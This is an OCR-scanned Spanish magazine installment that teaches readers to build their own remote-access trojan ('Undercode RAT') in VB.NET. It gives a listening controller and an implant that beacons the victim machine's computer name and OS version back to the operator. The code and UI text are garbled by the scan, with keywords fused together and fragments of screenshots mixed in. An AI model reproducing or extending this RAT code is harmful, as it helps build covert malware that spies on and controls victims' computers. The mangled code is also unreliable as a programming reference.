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V. CREAR UN TROYANO PASO A PASO

Ne 2

Entrega tras entrega iremos compartiendo fragmentos de cédigos para que vayas armando tu propio troyano,
paso a paso, desde cero en VB.NET.

En esta primer parte, comenzaremos con la creacion del cliente y el servidor y la conexidén entre ambos.

Como prerrequisito es necesario tener instalado Visual Studio en nuestra PC. Una vez que lo tengamos lo abrimos

y creamos la siguiente solucion y dos proyectos. Deberiamos tener la siguiente estructura:

1. CLIENTE

]

]

|ﬁ| Soluddn ‘Underc0deR AT (2 proyectos)

Explorador de solucones

@l o-2a| s -

Buscar en Exploradar de soluciones (Ctrl+7)

Cliente
¥ My Praoject
9'] App.config
[ Principal.vb
Server
¥ My Praoject
9'] App.config
P Server.vh

Creamos el formulario del tamafio que deseemos y luego arrastramos el componente ListView hasta él.

Deberiamos tener lo siguiente:

Cuadro de herramientas

lis

4 Todos los formularios Windows Forms
8= CheckedlistBox

Bl  Imagelist
E% ListBox

~Ix
x -

[ —

Principal. vb [Disefio]* + X

% Undercode RAT [Magazine]

-

I 3

5

Remato
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Acto seguido, hacemos click en el ListView que hemos agregado y en vista colocamos “Details” para que luego
nos muestre los detalles de los remotos que se conecten a nuestro cliente:

Principal.vb [Disefio]* +# X

[ undercode RAT [Magazine] _||:||5||

O [4 -
Tareas de ListView

Remoto I

Editar elementos...
Editar columnas. ..
Editar grupos...
Vista: | Details ﬂ|
Imagelist pequeria: | {ninguna) ﬂ|
Imagelist grande: | {ninguno) ﬂ|
Acoplar en contenedor primario

&

Ahora, debemos agregar cuatro columnas y deberia quedar como en la siguiente imagen, para el resto de las
columnas colocar en Text lo siguiente: “PCName”; “OsVersion”; “IP” que son los datos que nos saldran cuando

alguien se conecte.

Editor de la coleccion ColumnHeader

Miembros:

1| ColumnHeader2
2| ColumnHeader3
3| ColumnHeaderd

Agregar Quitar

2 x
Propiedades de ColumnHeader 1:
= D | ~
B Comportamiento 1]
DisplayIndex 0
E Datos
(ApplicationSetting
Tag
B Disenio
{Mame) ColumnHeaderl
GenerateMember  True
Modifiers Friend
B varios
Imagelndex |:| (ringuna)
Imagekey [] (ninguno)
Text Remoto -
Tkl lime [
Aceptar I Cancelar |
Y

El listview deberia quedar de la siguiente forma (los anchos de columna los editan ustedes a gusto, y si quieren

gue se vean las lineas grises deben poner en las propiedades del listviewGridLines=True).
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Underchde RAT [Magazine] e e ]

Remuoto I PCName | OgVersion I IP I

El cliente debe tener el siguiente codigo; (cada linea estd explicada como comentario en verde).

1. ImportsSystem.Threading'esto es el import de Threading que se usa para que la aplicacion funcione de
forma multihilo y no se congele
ImportsSystem.Net.Sockets'este es el import de Sockets, son nuestra herramienta de comunicacion

PublicClassPrincipal

PrivateServerSocketAsTcplistener'Declaramos el Socket

DimDataSocketAsSocket'Declaramos el socket

DimHiloEscuchaAsNewThread(AddressOf Escuchar) 'Se declara un Hilo alternativo para que no se nos

congele el programa.

PrivateSubPrincipal_Load(senderAsObject, e AsEventArgs) HandlesMyBase.Load

9. HiloEscucha.Start() ‘iniciamos el hilo

10. EndSub

11. PrivateSubEscuchar()

12. ServerSocket = NewTcplistener(Net.IPAddress.Any, 7913) ‘Creamos el socket a la escucha (usamos el
puerto 7913)

13. ServerSocket.Start(10) ‘Iniciamos el socket con un limite de conecciones pendientes de 10

14. DimMensaje() AsString' en este vector guardaremos los datos que nos envian

15. Do'creamos un bucle para que se ejecute infinitas veces

16. IfServerSocket.Pending = TrueThen'Si hay conexiones pendientes

17. DataSocket = ServerSocket.AcceptSocket() 'Tomamos la conexion en nuestro nuevo socket DataSocket

18. DimvDatos(255) AsByte'Creamos un vector que sera nuestro buffer de entrada

19. DataSocket.Receive(vDatos) ‘Recibimos los datos. Limite de buffer: 256

20. Mensaje = Split(System.Text.Encoding.BigEndianUnicode.GetString(vDatos), "|") ‘Guardamos en
mensaje lo que el server nos envio y lo dividimos por el separador "|["

21. DimLV_ItemAsListViewltem = LV.ltems.Add(Mensaje(1)) ‘Creamos un nuevo item en el listview

22. LV_Item.Subltems.Add(Mensaje(2)) ' agregamos mas datos del mensaje

23. LV_Item.Subltems.Add(Mensaje(3)) ' agregamos mas datos del mensaje

24. LV_Item.Subltems.Add(DataSocket.RemoteEndPoint.ToString) ‘agregamos el ip del remoto

25. EndIf

26. Loop

27. EndSub

28. PrivateSubPrincipal_FormClosing(senderAsObject, e AsFormClosingEventArgs) HandlesMe.FormClosing

29. Try

30. IfDataSocket.ConnectedThen'si el socket sigue conectado...

31. DataSocket.Disconnect(False) ‘Desconectamos el remoto

Ny s wN

o
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2.

32.
33.
34.
35.
36.
37.
38.
39.

DataSocket.Close() 'Cerramos el socket
EndIf

Finally

HiloEscucha.Abort() ‘cortamos el hilo
End

EndTry

EndSub

EndClass

SERVIDOR

Ahora, en el proyecto del servidor, solamente crearemos el formulario y le agregaremos el siguiente cddigo:

ok wnN e

10.

11.

12.
13.
14.
15.
16.
17.
18.
19.

ImportsSystem.Net.Sockets

PublicClassServer

DimoSocketAsSocket

PrivateSubServer_Load(senderAsObject, e AsEventArgs) HandlesMyBase.Load

Try

oSocket = NewSocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) ‘Creamos el
socket

DimosVersionAsString = System.Environment.OSVersion.ToString() ' Creamos la variable OsVersion que
nos dira que sistema posee nuestro remoto

DimPCNameAsString = System.Windows.Forms.SystemInformation.ComputerName 'Creamos la variable
PCName que nos dira el nombre de la pc de nuestro remoto

DimvDatos(1500) AsByte 'Creamos un buffer de salida. Limite de buffer: 1500

vDatos =

System.Text.Encoding.BigEndianUnicode.GetBytes("HELLO"&" |"&"UndercOdeRAT[MAGAZINE]"&" |"&PC
Name&"|"&osVersion) 'llenamos el buffer con la cadena que mostraremos en el listview
oSocket.Connect(Net.IPAddress.Parse("127.0.0.1"), 7913) ‘Conectamos con el servidor: en el ip 127.0.0.1y
el puerto 7913

oSocket.Send(vDatos) 'Enviamos los datos

oSocket.Disconnect(False) ‘Nos desconectamos del servidor

oSocket.Close() ‘Cerramos el socket usado para el envio

CatcherAsSocketException

MsgBox(er.SocketErrorCode)

EndTry

EndSub

EndClass

Finalmente, ejecutamos el cliente y luego el servidor, y podremos ver que conecta en nuestro cliente:
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of —lolx]
[® undercode RAT [Magazine] el 1o
Remoto | PCName | OsVersion | IP |
UndercOdeRAT[MAGAZINE] FRAN-A1 Microsoft Windows NT 6.. | 127.0.0 1:65289

Si han seguido los pasos indicados, no tendran problemas en estas etapas iniciales. En proximas entregas
avanzaremos hasta completar la guia que anunciamos al comienzo de este apartado, por lo que recomiendo
alguna lectura sobre VB.NET.
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